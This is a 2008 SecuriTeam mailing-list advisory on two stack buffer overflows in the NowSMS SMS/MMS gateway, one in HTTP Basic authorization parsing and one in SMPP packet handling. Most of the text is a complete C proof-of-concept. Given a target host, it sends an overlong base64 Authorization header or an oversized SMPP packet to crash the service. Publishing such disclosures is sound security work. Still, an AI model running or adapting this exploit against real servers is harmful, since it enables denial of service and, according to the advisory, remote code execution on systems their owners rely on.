[NT] NowSMS Multiple Buffer Overflows
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 19 Feb 2008 16:07:12 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
NowSMS Multiple Buffer Overflows
------------------------------------------------------------------------
SUMMARY
<http://www.nowsms.com> NowSMS is "a commercial SMS and MMS Content
Delivery Solution". Two buffer overflow vulnerabilities have been
discovered in NowSMS.
DETAILS
Vulnerable Systems:
* Now SMS/MMS Gateway version 2007.06.27
Web authorization buffer-overflow
The web interface of NowSMS which listens on port 8800 allows the users to
use the gateway for sending various types of messages (EMS, binary, WAP,
MMS and so on).
The function which handles the base64 password located in the HTTP
Authorization parameter is affected by a stack based buffer-overflow
exploitable with more than 256 bytes.
The server can be exploited both in case it requires and doesn't require
authentication.
SMPP buffer-overflow
NowSMS uses a stack buffer of 4 kilobytes for containing the incoming SMPP
packets. The lack of checks on the real size of these packets (max
0xffffffff bytes) leads to a buffer-overflow vulnerability which can be
exploited by an attacker to execute malicious code remotely.
The SMPP server is not enabled by default and doesn't have a default
listening port (the admin must decide it).
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/nowsmsz.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define BUFFSZ 8192
#define BOF1SZ 300
#define BOF2SZ 5000
int smpp_send(int sd, int id, u8 *data, int datalen);
u8 *base64_encode(u8 *data, int *size);
int putcc(u8 *data, int chr, int len);
int getxx(u8 *data, u32 *ret, int bits);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack;
u16 port;
u8 buff[BUFFSZ],
*b64;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"NowSMS <= v2007.06.27 multiple buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port]\n"
"\n"
"Attacks:\n"
" 1 = web authorization buffer-overflow (default port 8800)\n"
" 2 = SMPP buffer-overflow (default port 2775)\n"
"\n", argv[0]);
exit(1);
}
attack = atoi(argv[1]);
switch(attack) {
case 1: port = 8800; break;
case 2: port = 2775; break;
default: {
printf("\nError: wrong attack number (%s)\n", argv[1]);
exit(1);
} break;
}
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(attack == 1) {
printf("- web authorization buffer-overflow\n");
len = BOF1SZ;
putcc(buff, 'A', len);
b64 = base64_encode(buff, &len);
b64 = base64_encode(b64, &len);
len = sprintf(buff,
"GET / HTTP/1.0\r\n"
"Authorization: Basic %s\r\n"
"\r\n", b64);
send(sd, buff, len, 0);
} else if(attack == 2) {
printf("- SMPP buffer-overflow\n");
putcc(buff, 'A', BOF2SZ);
smpp_send(sd, 4, buff, BOF2SZ);
}
if(!timeout(sd, 5)) recv(sd, buff, BUFFSZ, 0);
close(sd);
printf("- done\n");
return(0);
}
int smpp_send(int sd, int id, u8 *data, int datalen) {
u8 tmp[16];
putxx(tmp, 16 + datalen, 32); // command_length
putxx(tmp + 4, id, 32); // command_id
putxx(tmp + 8, 0, 32); // command_status
putxx(tmp + 12, 1, 32); // sequence_number
send(sd, tmp, 16, 0);
send(sd, data, datalen, 0);
return(0);
}
u8 *base64_encode(u8 *data, int *size) {
int len,
a,
b,
c;
u8 *buff,
*p;
static const u8 base[64] = {
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'
};
if(!size || (*size < 0)) { // use size -1 for auto text size!
len = strlen(data);
} else {
len = *size;
}
buff = malloc(((len / 3) << 2) + 6);
if(!buff) return(NULL);
p = buff;
do {
a = data[0];
b = data[1];
c = data[2];
*p++ = base[(a >> 2) & 63];
*p++ = base[(((a & 3) << 4) | ((b >> 4) & 15)) & 63];
*p++ = base[(((b & 15) << 2) | ((c >> 6) & 3)) & 63];
*p++ = base[c & 63];
data += 3;
len -= 3;
} while(len > 0);
*p = 0;
for(; len < 0; len++) *(p + len) = '=';
if(size) *size = p - buff;
return(buff);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int getxx(u8 *data, u32 *ret, int bits) {
u32 num;
int i,
bytes;
bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) {
num |= (data[i] << ((bytes - 1 - i) << 3));
}
*ret = num;
return(bytes);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/nowsmsz-adv.txt>
http://aluigi.altervista.org/adv/nowsmsz-adv.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NT] Foxit Remote Access Server Two Heap Overflows
- Next by Date: [NT] SCI Chat Directory Traversal
- Previous by thread: [NT] Foxit Remote Access Server Two Heap Overflows
- Next by thread: [NT] SCI Chat Directory Traversal
- Index(es):
Relevant Pages
|
|